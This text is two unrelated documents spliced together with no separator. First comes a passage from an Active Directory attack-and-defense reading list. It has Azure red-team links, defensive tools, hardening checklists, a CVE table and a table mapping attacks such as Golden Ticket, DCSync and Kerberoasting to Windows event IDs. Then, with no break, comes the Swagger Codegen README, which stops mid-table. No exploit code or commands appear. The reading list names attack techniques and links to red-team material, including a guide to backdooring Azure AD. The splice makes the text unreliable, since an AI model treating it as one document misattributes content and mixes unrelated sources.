TEAMERS](https://www.synacktiv.com/en/publications/azure-ad-introduction-for-red-teamers.html) * [I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Directory](https://www.slideshare.net/DirkjanMollema/im-in-your-cloud-reading-everyones-email-hacking-azure-ad-via-active-directory) * [Utilizing Azure Services for Red Team Engagements](https://blog.netspi.com/utiilzing-azure-for-red-team-engagements/) * [Blue Cloud of Death: Red Teaming Azure](https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1) * [Azure AD Connect for Red Teamers](https://blog.xpnsec.com/azuread-connect-for-redteam/) * [Red Teaming Microsoft: Part 1 – Active Directory Leaks via Azure](https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/) * [Attacking & Defending the Microsoft Cloud](https://adsecurity.org/wp-content/uploads/2019/08/2019-BlackHat-US-Metcalf-Morowczynski-AttackingAndDefendingTheMicrosoftCloud.pdf) * [How to create a backdoor to Azure AD](https://o365blog.com/post/aadbackdoor/) * [Azurehound Cypher Cheatsheet](https://hausec.com/2020/11/23/azurehound-cypher-cheatsheet/) * [Keys of the kingdom: Playing God as Global Admin](https://o365blog.com/post/admin/) * [AZURE AD KERBEROS TICKETS: PIVOTING TO THE CLOUD](https://www.trustedsec.com/blog/azure-ad-kerberos-tickets-pivoting-to-the-cloud/) ------ ## Defense & Detection ### Tools & Scripts * [Invoke-TrimarcADChecks](https://gofile.io/d/IAKDLn) - The Invoke-TrimarcADChecks.ps1 PowerShell script is designed to gather data from a single domain AD forest to performed Active Directory Security Assessment (ADSA). * [Create-Tiers in AD](https://github.com/davidprowe/AD_Sec_Tools) - Project Title Active Directory Auto Deployment of Tiers in any environment * [SAMRi10](https://gallery.technet.microsoft.com/SAMRi10-Hardening-Remote-48d94b5b) - Hardening SAM Remote Access in Windows 10/Server 2016 * [Net Cease](https://gallery.technet.microsoft.com/Net-Cease-Blocking-Net-1e8dcb5b) - Hardening Net Session Enumeration * [PingCastle](https://www.pingcastle.com/) - A tool designed to assess quickly the Active Directory security level with a methodology based on risk assessment and a maturity framework * [Aorato Skeleton Key Malware Remote DC Scanner](https://gallery.technet.microsoft.com/Aorato-Skeleton-Key-24e46b73) - Remotely scans for the existence of the Skeleton Key Malware * [Reset the krbtgt account password/keys](https://gallery.technet.microsoft.com/Reset-the-krbtgt-account-581a9e51) - This script will enable you to reset the krbtgt account password and related keys while minimizing the likelihood of Kerberos authentication issues being caused by the operation * [Reset The KrbTgt Account Password/Keys For RWDCs/RODCs](https://gallery.technet.microsoft.com/Reset-The-KrbTgt-Account-5f45a414) * [RiskySPN](https://github.com/cyberark/RiskySPN) - RiskySPNs is a collection of PowerShell scripts focused on detecting and abusing accounts associated with SPNs (Service Principal Name). * [Deploy-Deception](https://github.com/samratashok/Deploy-Deception) - A PowerShell module to deploy active directory decoy objects * [SpoolerScanner](https://github.com/vletoux/SpoolerScanner) - Check if MS-RPRN is remotely available with powershell/c# * [dcept](https://github.com/secureworks/dcept) - A tool for deploying and detecting use of Active Directory honeytokens * [LogonTracer](https://github.com/JPCERTCC/LogonTracer) - Investigate malicious Windows logon by visualizing and analyzing Windows event log * [DCSYNCMonitor](https://github.com/shellster/DCSYNCMonitor) - Monitors for DCSYNC and DCSHADOW attacks and create custom Windows Events for these events * [Sigma](https://github.com/Neo23x0/sigma/) - Generic Signature Format for SIEM Systems * [Sysmon](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon) - System Monitor (Sysmon) is a Windows system service and device driver that, once installed on a system, remains resident across system reboots to monitor and log system activity to the Windows event log. * [SysmonSearch](https://github.com/JPCERTCC/SysmonSearch) - Investigate suspicious activity by visualizing Sysmon's event log * [ClrGuard](https://github.com/endgameinc/ClrGuard) - ClrGuard is a proof of concept project to explore instrumenting the Common Language Runtime (CLR) for security purposes. * [Get-ClrReflection](https://gist.github.com/dezhub/2875fa6dc78083cedeab10abc551cb58) - Detects memory-only CLR (.NET) modules. * [Get-InjectedThread](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2) - Get-InjectedThread looks at each running thread to determine if it is the result of memory injection. * [SilkETW](https://github.com/fireeye/SilkETW) - SilkETW & SilkService are flexible C# wrappers for ETW, they are meant to abstract away the complexities of ETW and give people a simple interface to perform research and introspection. * [WatchAD](https://github.com/0Kee-Team/WatchAD) - AD Security Intrusion Detection System * [Sparrow](https://github.com/cisagov/Sparrow) - Sparrow.ps1 was created by CISA's Cloud Forensics team to help detect possible compromised accounts and applications in the Azure/m365 environment. * [DFIR-O365RC](https://github.com/ANSSI-FR/DFIR-O365RC) - The DFIR-O365RC PowerShell module is a set of functions that allow the DFIR analyst to collect logs relevant for Office 365 Business Email Compromise investigations. * [AzureADIncidentResponse](https://www.powershellgallery.com/packages/AzureADIncidentResponse/4.0) - Tooling to assist in Azure AD incident response * [ADTimeline](https://github.com/ANSSI-FR/ADTimeline) - The ADTimeline script generates a timeline based on Active Directory replication metadata for objects considered of interest. ### Sysmon Configuration * [sysmon-modular](https://github.com/olafhartong/sysmon-modular) - A Sysmon configuration repository for everybody to customise * [sysmon-dfir](https://github.com/MHaggis/sysmon-dfir) - Sources, configuration and how to detect evil things utilizing Microsoft Sysmon. * [sysmon-config](https://github.com/SwiftOnSecurity/sysmon-config) - Sysmon configuration file template with default high-quality event tracing ### Active Directory Security Checks (by Sean Metcalf - @Pyrotek3) #### General Recommendations * Manage local Administrator passwords (LAPS). * Implement RDP Restricted Admin mode (as needed). * Remove unsupported OSs from the network. * Monitor scheduled tasks on sensitive systems (DCs, etc.). * Ensure that OOB management passwords (DSRM) are changed regularly & securely stored. * Use SMB v2/v3+ * Default domain Administrator & KRBTGT password should be changed every year & when an AD admin leaves. * Remove trusts that are no longer necessary & enable SID filtering as appropriate. * All domain authentications should be set (when possible) to: "Send NTLMv2 response onlyrefuse LM & NTLM." * Block internet access for DCs, servers, & all administration systems. #### Protect Admin Credentials * No "user" or computer accounts in admin groups. * Ensure all admin accounts are "sensitive & cannot be delegated". * Add admin accounts to "Protected Users" group (requires Windows Server 2012 R2 Domain Controllers, 2012R2 DFL for domain protection). * Disable all inactive admin accounts and remove from privileged groups. #### Protect AD Admin Credentials * Limit AD admin membership (DA, EA, Schema Admins, etc.) & only use custom delegation groups. * ‘Tiered’ Administration mitigating credential theft impact. * Ensure admins only logon to approved admin workstations & servers. * Leverage time-based, temporary group membership for all admin accounts #### Protect Service Account Credentials * Limit to systems of the same security level. * Leverage “(Group) Managed Service Accounts” (or PW >20 characters) to mitigate credential theft (kerberoast). * Implement FGPP (DFL =>2008) to increase PW requirements for SAs and administrators. * Logon restrictions – prevent interactive logon & limit logon capability to specific computers. * Disable inactive SAs & remove from privileged groups. #### Protect Resources * Segment network to protect admin & critical systems. * Deploy IDS to monitor the internal corporate network. * Network device & OOB management on separate network. #### Protect Domain Controllers * Only run software & services to support AD. * Minimal groups (& users) with DC admin/logon rights. * Ensure patches are applied before running DCPromo (especially MS14-068 and other critical patches). * Validate scheduled tasks & scripts. #### Protect Workstations (& Servers) * Patch quickly, especially privilege escalation vulnerabilities. * Deploy security back-port patch (KB2871997). * Set Wdigest reg key to 0 (KB2871997/Windows 8.1/2012R2+): HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWdigest * Deploy workstation whitelisting (Microsoft AppLocker) to block code exec in user folders – home dir & profile path. * Deploy workstation app sandboxing technology (EMET) to mitigate application memory exploits (0-days). #### Logging * Enable enhanced auditing * “Audit: Force audit policy subcategory settings (Windows Vista or later) to override audit policy category settings” * Enable PowerShell module logging (“*”) & forward logs to central log server (WEF or other method). * Enable CMD Process logging & enhancement (KB3004375) and forward logs to central log server. * SIEM or equivalent to centralize as much log data as possible. * User Behavioural Analysis system for enhanced knowledge of user activity (such as Microsoft ATA). #### Security Pro’s Checks * Identify who has AD admin rights (domain/forest). * Identify who can logon to Domain Controllers (& admin rights to virtual environment hosting virtual DCs). * Scan Active Directory Domains, OUs, AdminSDHolder, & GPOs for inappropriate custom permissions. * Ensure AD admins (aka Domain Admins) protect their credentials by not logging into untrusted systems (workstations). * Limit service account rights that are currently DA (or equivalent). ### Important Security Updates |CVE|Title|Description|Link| |---|-----|-----------|----| |CVE-2020-1472|Netlogon Elevation of Privilege Vulnerability|An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC). An attacker who successfully exploited the vulnerability could run a specially crafted application on a device on the network.|https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472| |CVE-2019-1040|Windows NTLM Tampering Vulnerability|A tampering vulnerability exists in Microsoft Windows when a man-in-the-middle attacker is able to successfully bypass the NTLM MIC (Message Integrity Check) protection, aka 'Windows NTLM Tampering Vulnerability'.|https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1040| |CVE-2019-0683|Active Directory Elevation of Privilege Vulnerability|An elevation of privilege vulnerability exists in Active Directory Forest trusts due to a default setting that lets an attacker in the trusting forest request delegation of a TGT for an identity from the trusted forest, aka 'Active Directory Elevation of Privilege Vulnerability'.|https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0683| |CVE-2019-0708|Remote Desktop Services Remote Code Execution Vulnerability|A remote code execution vulnerability exists in Remote Desktop Services formerly known as Terminal Services when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests, aka 'Remote Desktop Services Remote Code Execution Vulnerability'.|https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708| |CVE-2018-8581|Microsoft Exchange Server Elevation of Privilege Vulnerability|An elevation of privilege vulnerability exists in Microsoft Exchange Server, aka "Microsoft Exchange Server Elevation of Privilege Vulnerability." This affects Microsoft Exchange Server.|https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8518| |CVE-2017-0143|Windows SMB Remote Code Execution Vulnerability|The SMBv1 server in Microsoft Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607; and Windows Server 2016 allows remote attackers to execute arbitrary code via crafted packets, aka "Windows SMB Remote Code Execution Vulnerability." This vulnerability is different from those described in CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, and CVE-2017-0148.|https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0143| |CVE-2016-0128|Windows SAM and LSAD Downgrade Vulnerability|The SAM and LSAD protocol implementations in Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, and Windows 10 Gold and 1511 do not properly establish an RPC channel, which allows man-in-the-middle attackers to perform protocol-downgrade attacks and impersonate users by modifying the client-server data stream, aka "Windows SAM and LSAD Downgrade Vulnerability" or "BADLOCK."|https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-0128| |CVE-2014-6324|Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780)|The Kerberos Key Distribution Center (KDC) in Microsoft Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, and Windows Server 2012 Gold and R2 allows remote authenticated domain users to obtain domain administrator privileges via a forged signature in a ticket, as exploited in the wild in November 2014, aka "Kerberos Checksum Vulnerability."|https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-068| |CVE-2014-1812|Vulnerability in Group Policy Preferences could allow elevation of privilege|The Group Policy implementation in Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, and Windows Server 2012 Gold and R2 does not properly handle distribution of passwords, which allows remote authenticated users to obtain sensitive credential information and consequently gain privileges by leveraging access to the SYSVOL share, as exploited in the wild in May 2014, aka "Group Policy Preferences Password Elevation of Privilege Vulnerability."|https://support.microsoft.com/en-us/help/2962486/ms14-025-vulnerability-in-group-policy-preferences-could-allow-elevati| ### Detection |Attack|Event ID| |------|--------| |Account and Group Enumeration|4798: A user's local group membership was enumerated<br>4799: A security-enabled local group membership was enumerated| |AdminSDHolder|4780: The ACL was set on accounts which are members of administrators groups| |Kekeo|4624: Account Logon<br>4672: Admin Logon<br>4768: Kerberos TGS Request| |Silver Ticket|4624: Account Logon<br>4634: Account Logoff<br>4672: Admin Logon| |Golden Ticket|4624: Account Logon<br>4672: Admin Logon| |PowerShell|4103: Script Block Logging<br>400: Engine Lifecycle<br>403: Engine Lifecycle<br>4103: Module Logging<br>600: Provider Lifecycle<br>| |DCShadow|4742: A computer account was changed<br>5137: A directory service object was created<br>5141: A directory service object was deleted<br>4929: An Active Directory replica source naming context was removed| |Skeleton Keys|4673: A privileged service was called<br>4611: A trusted logon process has been registered with the Local Security Authority<br>4688: A new process has been created<br>4689: A new process has exited| |PYKEK MS14-068|4672: Admin Logon<br>4624: Account Logon<br>4768: Kerberos TGS Request| |Kerberoasting|4769: A Kerberos ticket was requested| |S4U2Proxy|4769: A Kerberos ticket was requested| |Lateral Movement|4688: A new process has been created<br>4689: A process has exited<br>4624: An account was successfully logged on<br>4625: An account failed to log on| |DNSAdmin|770: DNS Server plugin DLL has been loaded<br>541: The setting serverlevelplugindll on scope . has been set to `<dll path>`<br>150: DNS Server could not load or initialize the plug-in DLL| |DCSync|4662: An operation was performed on an object| |Password Spraying|4625: An account failed to log on<br>4771: Kerberos pre-authentication failed<br>4648: A logon was attempted using explicit credentials| ### Resources * [Total Identity Compromise: DART lessons on securing Active Directory](https://techcommunity.microsoft.com/t5/microsoft-security-experts-blog/total-identity-compromise-dart-lessons-on-securing-active/ba-p/3753391) * [How to manage the changes in Netlogon secure channel connections associated with CVE-2020-1472](https://support.microsoft.com/en-us/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc) * [Securing Active Directory: Performing an Active Directory Security Review](https://www.hub.trimarcsecurity.com/post/securing-active-directory-performing-an-active-directory-security-review) * [ACTIVE DIRECTORY SECURITY ASSESSMENT CHECKLIST](https://www.cert.ssi.gouv.fr/uploads/guide-ad.html) * [ASD Strategies to Mitigate Cyber Security Incidents](https://acsc.gov.au/publications/Mitigation_Strategies_2017.pdf) * [Reducing the Active Directory Attack Surface](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/reducing-the-active-directory-attack-surface) * [Changes to Ticket-Granting Ticket (TGT) Delegation Across Trusts in Windows Server (AskPFEPlat edition)](https://techcommunity.microsoft.com/t5/Premier-Field-Engineering/Changes-to-Ticket-Granting-Ticket-TGT-Delegation-Across-Trusts/ba-p/440283) * [ADV190006 | Guidance to mitigate unconstrained delegation vulnerabilities](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/ADV190006) * [ADV190023 | Microsoft Guidance for Enabling LDAP Channel Binding and LDAP Signing](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV190023) * [Active Directory: Ultimate Reading Collection](https://social.technet.microsoft.com/wiki/contents/articles/20964.active-directory-ultimate-reading-collection.aspx) * [Security Hardening Tips and Recommendations](https://social.technet.microsoft.com/wiki/contents/articles/18931.security-hardening-tips-and-recommendations.aspx) * [Securing Domain Controllers to Improve Active Directory Security](https://adsecurity.org/?p=3377) * [Securing Windows Workstations: Developing a Secure Baseline](https://adsecurity.org/?p=3299) * [Implementing Secure Administrative Hosts](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/implementing-secure-administrative-hosts) * [Privileged Access Management for Active Directory Domain Services](https://docs.microsoft.com/en-us/microsoft-identity-manager/pam/privileged-identity-management-for-active-directory-domain-services) * [Awesome Windows Domain Hardening](https://github.com/PaulSec/awesome-windows-domain-hardening) * [Best Practices for Securing Active Directory](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/best-practices-for-securing-active-directory) * [Introducing the Adversary Resilience Methodology — Part One](https://posts.specterops.io/introducing-the-adversary-resilience-methodology-part-one-e38e06ffd604) * [Introducing the Adversary Resilience Methodology — Part Two](https://posts.specterops.io/introducing-the-adversary-resilience-methodology-part-two-279a1ed7863d) * [Mitigating Pass-the-Hash and Other Credential Theft, version 2](https://download.microsoft.com/download/7/7/A/77ABC5BD-8320-41AF-863C-6ECFB10CB4B9/Mitigating-Pass-the-Hash-Attacks-and-Other-Credential-Theft-Version-2.pdf) * [Configuration guidance for implementing the Windows 10 and Windows Server 2016 DoD Secure Host Baseline settings](https://github.com/nsacyber/Windows-Secure-Host-Baseline) * [Monitoring Active Directory for Signs of Compromise](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/monitoring-active-directory-for-signs-of-compromise) * [Detecting Lateral Movement through Tracking Event Logs](https://www.jpcert.or.jp/english/pub/sr/Detecting%20Lateral%20Movement%20through%20Tracking%20Event%20Logs_version2.pdf) * [Kerberos Golden Ticket Protection Mitigating Pass-the-Ticket on Active Directory](https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf) * [Overview of Microsoft's "Best Practices for Securing Active Directory"](https://digital-forensics.sans.org/blog/2013/06/20/overview-of-microsofts-best-practices-for-securing-active-directory) * [The Keys to the Kingdom: Limiting Active Directory Administrators](https://dsimg.ubm-us.net/envelope/155422/314202/1330537912_Keys_to_the_Kingdom_Limiting_AD_Admins.pdf) * [Protect Privileged AD Accounts With Five Free Controls](https://blogs.sans.org/cyber-defense/2018/09/10/protect-privileged-ad-accounts-with-five-free-controls/) * [The Most Common Active Directory Security Issues and What You Can Do to Fix Them](https://adsecurity.org/?p=1684) * [Event Forwarding Guidance](https://github.com/nsacyber/Event-Forwarding-Guidance) * [Planting the Red Forest: Improving AD on the Road to ESAE](https://www.mwrinfosecurity.com/our-thinking/planting-the-red-forest-improving-ad-on-the-road-to-esae/) * [Detecting Kerberoasting Activity](https://adsecurity.org/?p=3458) * [Security Considerations for Trusts](https://docs.microsoft.com/pt-pt/previous-versions/windows/server/cc755321(v=ws.10)) * [Advanced Threat Analytics suspicious activity guide](https://docs.microsoft.com/en-us/advanced-threat-analytics/suspicious-activity-guide) * [Protection from Kerberos Golden Ticket](https://cert.europa.eu/static/WhitePapers/CERT-EU-SWP_14_07_PassTheGolden_Ticket_v1_1.pdf) * [Windows 10 Credential Theft Mitigation Guide](https://download.microsoft.com/download/C/1/4/C14579CA-E564-4743-8B51-61C0882662AC/Windows%2010%20credential%20theft%20mitigation%20guide.docx) * [Detecting Pass-The- Ticket and Pass-The- Hash Attack Using Simple WMI Commands](https://blog.javelin-networks.com/detecting-pass-the-ticket-and-pass-the-hash-attack-using-simple-wmi-commands-2c46102b76bc) * [Step by Step Deploy Microsoft Local Administrator Password Solution](https://gallery.technet.microsoft.com/Step-by-Step-Deploy-Local-7c9ef772) * [Active Directory Security Best Practices](https://www.troopers.de/downloads/troopers17/TR17_AD_signed.pdf) * [Finally Deploy and Audit LAPS with Project VAST, Part 1 of 2](https://blogs.technet.microsoft.com/jonsh/2018/10/03/finally-deploy-and-audit-laps-with-project-vast-part-1-of-2/) * [Windows Security Log Events](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/default.aspx) * [Talk Transcript BSidesCharm Detecting the Elusive: Active Directory Threat Hunting](https://www.trimarcsecurity.com/single-post/Detecting-the-Elusive-Active-Directory-Threat-Hunting) * [Preventing Mimikatz Attacks](https://medium.com/blue-team/preventing-mimikatz-attacks-ed283e7ebdd5) * [Understanding "Red Forest" - The 3-Tier ESAE and Alternative Ways to Protect Privileged Credentials](https://www.slideshare.net/QuestSoftware/understanding-red-forest-the-3tier-esae-and-alternative-ways-to-protect-privileged-credentials) * [Securing Microsoft Active Directory Federation Server (ADFS)](https://adsecurity.org/?p=3782) * [Azure AD and ADFS best practices: Defending against password spray attacks](https://www.microsoft.com/en-us/microsoft-365/blog/2018/03/05/azure-ad-and-adfs-best-practices-defending-against-password-spray-attacks/) * [AD Reading: Active Directory Backup and Disaster Recovery](https://adsecurity.org/?p=22) * [Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques](https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process) * [Hunting For In-Memory .NET Attacks](https://www.endgame.com/blog/technical-blog/hunting-memory-net-attacks) * [Mimikatz Overview, Defenses and Detection](https://www.sans.org/reading-room/whitepapers/detection/mimikatz-overview-defenses-detection-36780) * [Trimarc Research: Detecting Password Spraying with Security Event Auditing](https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing) * [Hunting for Gargoyle Memory Scanning Evasion](https://www.countercept.com/blog/hunting-for-gargoyle/) * [Planning and getting started on the Windows Defender Application Control deployment process](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control-deployment-guide) * [Preventing Lateral Movement Using Network Access Groups](https://medium.com/think-stack/preventing-lateral-movement-using-network-access-groups-7e8d539a9029) * [How to Go from Responding to Hunting with Sysinternals Sysmon](https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow) * [Windows Event Forwarding Guidance](https://github.com/palantir/windows-event-forwarding) * [Threat Mitigation Strategies: Part 2 – Technical Recommendations and Information](http://threatexpress.com/2018/05/threat-mitigation-strategies-technical-recommendations-and-info-part-2/) * [Modern Hardening: Lessons Learned on Hardening Applications and Services](https://channel9.msdn.com/Events/Ignite/2015/BRK3486) * [ITSP.70.012 Guidance for Hardening Microsoft Windows 10 Enterprise](http://publications.gc.ca/collections/collection_2019/cstc-csec/D97-3-70-12-2019-eng.pdf) * [Blue Team Tips](https://www.sneakymonkey.net/2018/06/25/blue-team-tips/) * [Active Directory Domain Security Technical Implementation Guide (STIG)](https://www.stigviewer.com/stig/active_directory_domain/) * [Active Directory Security Testing Guide - v2.0](https://www.slideshare.net/HuyKha2/adstg-v20-guidance) * [Best practices for securing Active Directory Federation Services](https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/best-practices-securing-ad-fs) * [The most common on premises vulnerabilities & misconfigurations](https://s3cur3th1ssh1t.github.io/The-most-common-on-premise-vulnerabilities-and-misconfigurations/) ## License [![CC0](http://mirrors.creativecommons.org/presskit/buttons/88x31/svg/cc-zero.svg)](http://creativecommons.org/publicdomain/zero/1.0) To the extent possible under law, Rahmat Nurfauzi &#34;@infosecn1nja&#34; has waived all copyright and related or neighboring rights to this work.
# Swagger Code Generator - Master (2.3.0): [![Build Status](https://img.shields.io/travis/swagger-api/swagger-codegen/master.svg?label=Petstore%20Integration%20Test)](https://travis-ci.org/swagger-api/swagger-codegen) [![Run Status](https://img.shields.io/shippable/5782588a3be4f4faa56c5bea.svg?label=Mustache%20Template%20Test)](https://app.shippable.com/projects/5782588a3be4f4faa56c5bea) [![Windows Test](https://ci.appveyor.com/api/projects/status/github/swagger-api/swagger-codegen?branch=master&svg=true&passingText=Windows%20Test%20-%20OK&failingText=Windows%20Test%20-%20Fails)](https://ci.appveyor.com/project/WilliamCheng/swagger-codegen-wh2wu) [![Java Test](https://circleci.com/gh/swagger-api/swagger-codegen.svg?style=shield)](https://circleci.com/gh/swagger-api/swagger-codegen) - 3.0.0: [![Build Status](https://img.shields.io/travis/swagger-api/swagger-codegen/3.0.0.svg?label=Petstore%20Integration%20Test)](https://travis-ci.org/swagger-api/swagger-codegen) [![Run Status](https://img.shields.io/shippable/5782588a3be4f4faa56c5bea/3.0.0.svg?label=Mustache%20Template%20Test)](https://app.shippable.com/projects/5782588a3be4f4faa56c5bea) [![Windows Test](https://ci.appveyor.com/api/projects/status/github/swagger-api/swagger-codegen?branch=3.0.0&svg=true&passingText=Windows%20Test%20-%20OK&failingText=Windows%20Test%20-%20Fails)](https://ci.appveyor.com/project/WilliamCheng/swagger-codegen-wh2wu) [![Java Test](https://circleci.com/gh/swagger-api/swagger-codegen/tree/3.0.0.svg?style=shield)](https://circleci.com/gh/swagger-api/swagger-codegen) [![Maven Central](https://maven-badges.herokuapp.com/maven-central/io.swagger/swagger-codegen-project/badge.svg?style=plastic)](https://maven-badges.herokuapp.com/maven-central/io.swagger/swagger-codegen-project) [![PR Stats](http://issuestats.com/github/swagger-api/swagger-codegen/badge/pr)](http://issuestats.com/github/swagger-api/swagger-codegen) [![Issue Stats](http://issuestats.com/github/swagger-api/swagger-codegen/badge/issue)](http://issuestats.com/github/swagger-api/swagger-codegen) :star::star::star: If you would like to contribute, please refer to [guidelines](https://github.com/swagger-api/swagger-codegen/blob/master/CONTRIBUTING.md) and a list of [open tasks](https://github.com/swagger-api/swagger-codegen/issues?q=is%3Aopen+is%3Aissue+label%3A%22help+wanted%22).:star::star::star: :notebook_with_decorative_cover: For more information, please refer to the [Wiki page](https://github.com/swagger-api/swagger-codegen/wiki) and [FAQ](https://github.com/swagger-api/swagger-codegen/wiki/FAQ) :notebook_with_decorative_cover: :warning: If the OpenAPI/Swagger spec is obtained from an untrusted source, please make sure you've reviewed the spec before using Swagger Codegen to generate the API client, server stub or documentation as [code injection](https://en.wikipedia.org/wiki/Code_injection) may occur :warning: :rocket: ProductHunt: https://producthunt.com/posts/swagger-codegen :rocket: ## Overview This is the swagger codegen project, which allows generation of API client libraries (SDK generation), server stubs and documentation automatically given an [OpenAPI Spec](https://github.com/OAI/OpenAPI-Specification). Currently, the following languages/frameworks are supported: - **API clients**: **ActionScript**, **Ada**, **Apex**, **Bash**, **C#** (.net 2.0, 4.0 or later), **C++** (cpprest, Qt5, Tizen), **Clojure**, **Dart**, **Elixir**, **Eiffel**, **Erlang**, **Go**, **Groovy**, **Haskell** (http-client, Servant), **Java** (Jersey1.x, Jersey2.x, OkHttp, Retrofit1.x, Retrofit2.x, Feign, RestTemplate, RESTEasy, Vertx, Google API Client Library for Java), **Kotlin**, **Lua**, **Node.js** (ES5, ES6, AngularJS with Google Closure Compiler annotations) **Objective-C**, **Perl**, **PHP**, **PowerShell**, **Python**, **R**, **Ruby**, **Rust**, **Scala** (akka, http4s, swagger-async-httpclient), **Swift** (2.x, 3.x, 4.x), **Typescript** (Angular1.x, Angular2.x, Fetch, jQuery, Node) - **Server stubs**: **C#** (ASP.NET Core, NancyFx), **C++** (Pistache, Restbed), **Erlang**, **Go**, **Haskell** (Servant), **Java** (MSF4J, Spring, Undertow, JAX-RS: CDI, CXF, Inflector, RestEasy, Play Framework), **PHP** (Lumen, Slim, Silex, [Symfony](https://symfony.com/), [Zend Expressive](https://github.com/zendframework/zend-expressive)), **Python** (Flask), **NodeJS**, **Ruby** (Sinatra, Rails5), **Rust**, **Scala** ([Finch](https://github.com/finagle/finch), Scalatra) - **API documentation generators**: **HTML**, **Confluence Wiki** - **Configuration files**: [**Apache2**](https://httpd.apache.org/) - **Others**: **JMeter** Check out [OpenAPI-Spec](https://github.com/OAI/OpenAPI-Specification) for additional information about the OpenAPI project. # Table of contents - [Swagger Code Generator](#swagger-code-generator) - [Overview](#overview) - [Table of Contents](#table-of-contents) - Installation - [Compatibility](#compatibility) - [Prerequisites](#prerequisites) - [OS X Users](#os-x-users) - [Building](#building) - [Docker](#docker) - [Development in Docker](#development-in-docker) - [Run docker in Vagrant](#run-docker-in-vagrant) - [Public Docker image](#public-docker-image) - [Homebrew](#homebrew) - [Getting Started](#getting-started) - Generators - [To generate a sample client library](#to-generate-a-sample-client-library) - [Generating libraries from your server](#generating-libraries-from-your-server) - [Modifying the client library format](#modifying-the-client-library-format) - [Making your own codegen modules](#making-your-own-codegen-modules) - [Where is Javascript???](#where-is-javascript) - [Generating a client from local files](#generating-a-client-from-local-files) - [Customizing the generator](#customizing-the-generator) - [Validating your OpenAPI Spec](#validating-your-openapi-spec) - [Generating dynamic html api documentation](#generating-dynamic-html-api-documentation) - [Generating static html api documentation](#generating-static-html-api-documentation) - [To build a server stub](#to-build-a-server-stub) - [To build the codegen library](#to-build-the-codegen-library) - [Workflow Integration](#workflow-integration) - [Maven Integration](#maven-integration) - [Gradle Integration](#gradle-integration) - [Github Integration](#github-integration) - [Online Generators](#online-generators) - [Guidelines for Contribution](https://github.com/swagger-api/swagger-codegen/wiki/Guidelines-for-Contribution) - [Companies/Projects using Swagger Codegen](#companiesprojects-using-swagger-codegen) - [Presentations/Videos/Tutorials/Books](#presentationsvideostutorialsbooks) - [Swagger Codegen Core Team](#swagger-codegen-core-team) - [Swagger Codegen Technical Committee](#swagger-codegen-technical-committee) - [License](#license) ## Compatibility The OpenAPI Specification has undergone 3 revisions since initial creation in 2010. The swagger-codegen project has the following compatibilities with the OpenAPI Specification: Swagger Codegen Version | Release Date | OpenAPI Spec compatibility | Notes -------------------------- | ------------ | -------------------------- | ----- 3.0.0 (upcoming major release) [SNAPSHOT](https://oss.sonatype.org/content/repositories/snapshots/io/swagger/swagger-codegen-cli/3.0.0-SNAPSHOT/)| TBD | 1.0, 1.1, 1.2, 2.0, 3.0 | Major release with breaking changes 2.3.0 (current master, upcoming minor release) [SNAPSHOT](https://oss.sonatype.org/content/repositories/snapshots/io/swagger/swagger-codegen-cli/2.3.0-SNAPSHOT/)| Jul/Aug 2017 | 1.0, 1.1, 1.2, 2.0 | Minor release with breaking changes [2.2.3](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.2.3) (**current stable**) | 2017-07-15 | 1.0, 1.1, 1.2, 2.0 | [tag v2.2.3](https://github.com/swagger-api/swagger-codegen/tree/v2.2.3) [2.2.2](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.2.2) | 2017-03-01 | 1.0, 1.1, 1.2, 2.0 | [tag 